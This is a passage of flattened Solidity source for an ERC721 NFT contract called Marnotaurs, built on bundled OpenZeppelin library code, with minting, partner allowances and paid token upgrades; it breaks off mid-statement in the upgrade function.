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// SPDX-License-Identifier: MIT pragma solidity 0.8.7; // Part: OpenZeppelin/[email protected]/Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/[email protected]/Context /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // Part: OpenZeppelin/[email protected]/IERC165 /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // Part: OpenZeppelin/[email protected]/IERC721Receiver /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // Part: OpenZeppelin/[email protected]/Strings /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // Part: OpenZeppelin/[email protected]/ERC165 /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // Part: OpenZeppelin/[email protected]/IERC721 /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // Part: OpenZeppelin/[email protected]/Ownable /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // Part: OpenZeppelin/[email protected]/IERC721Enumerable /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // Part: OpenZeppelin/[email protected]/IERC721Metadata /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // Part: OpenZeppelin/[email protected]/ERC721 /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // Part: OpenZeppelin/[email protected]/ERC721Enumerable /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: Marnotaur721.sol contract Marnotaurs is ERC721Enumerable, Ownable { struct Partners { uint256 limit; uint256 nftMinted; } struct Upgrade { uint256 priceETH; uint256 limit; // 0 - unlimited uint256 count; // How much upgraded uint256 tokenIdShift; //used for gen newTokenId, add to old tokenId bool enabled; } struct Beneficiary { address bAddress; uint256 bPercent; } uint256 constant public MAX_TOTAL_SUPPLY = 9990; uint256 constant public MAX_MINT_PER_TX = 10; uint256 constant public MAX_BUY_PER_TX = 10; uint256 public mintPrice = 5e16; uint256 public stopMintAfter = 2775; //5*555 uint256 public reservedForPartners; uint256 public enableBuyAfterTimestamp; mapping (address => Partners) public partnersLimit; Upgrade[] public upgradeTypes; Beneficiary[2] public beneficiaries; //Event for track mint channel: // 1 - MagicBox - depricated // 2 - With Ethere // 3 - Partners White List // 4 - With ERC20 - depricated event MintSource(uint256 tokenId, uint8 channel); event PartnesChanged(address partner, uint256 limit); event Upgraded(address indexed holder, uint256 upgradeIndex, uint256 oldTokenId, uint256 newTokenId); /** * @dev Set _mintMagicBox to true for enable this feature * */ //constructor() ERC721("MÆRⴼTΩR NFT Collection", "MÆRⴼTΩR") { constructor(string memory _name, string memory _symbol) ERC721(_name, _symbol) { //1630353600 - 2021-08-30 20:00 UTC enableBuyAfterTimestamp = 1630353600; beneficiaries[0] = Beneficiary(msg.sender, 6650); beneficiaries[1] = Beneficiary(msg.sender, 3350); } /** * @dev Mint new NFTs with ether or free for partners. * */ function multiMint() external payable { uint256 mintAmount = _availableFreeMint(msg.sender); if(mintAmount > 0) { require(msg.value == 0, "No need Ether"); mintAmount = _multiMint(msg.sender, mintAmount, 3); partnersLimit[msg.sender].nftMinted += mintAmount; reservedForPartners -= mintAmount; } else { require(enableBuyAfterTimestamp <= block.timestamp, "To early"); require(msg.value >= mintPrice, "Less ether for mint"); uint256 estimateAmountForMint = msg.value / mintPrice; require(estimateAmountForMint <= MAX_BUY_PER_TX, "So much payable mint"); require(stopMintAfter - reservedForPartners >= totalSupply() + estimateAmountForMint, "Minting is paused"); mintAmount = _multiMint(msg.sender, estimateAmountForMint, 2); if ((msg.value - mintAmount * mintPrice) > 0) { address payable s = payable(msg.sender); s.transfer(msg.value - mintAmount * mintPrice); } } } function upgradeMe(uint256 _upgradeIndex, uint256 _tokenId) external payable { require (_upgradeIndex < upgradeTypes.length, "Unknown upgrade"); require(ownerOf(_tokenId) == msg.sender, "Only for token owner"); require(upgradeTypes[_upgradeIndex].enabled, "Disabled upgrade"); require(upgradeTypes[_upgradeIndex].priceETH <= msg.value, "Not enough ether"); if (upgradeTypes[_upgradeIndex].limit != 0) { require( upgradeTypes[_upgradeIndex].count + 1 <= upgradeTypes[_upgradeIndex].limit, "Upgrade limit exceeded" ); } upgradeTypes[_upgradeIndex].count += 1; _burn(_tokenId); uint256 newToken = upgradeTypes[_upgradeIndex].tokenIdShift + _tokenId; _mint(msg.sender, newToken); emit Upgraded(msg.sender, _upgradeIndex, _tokenId, newToken); if (msg.value - upgradeTypes[_upgradeIndex].priceETH 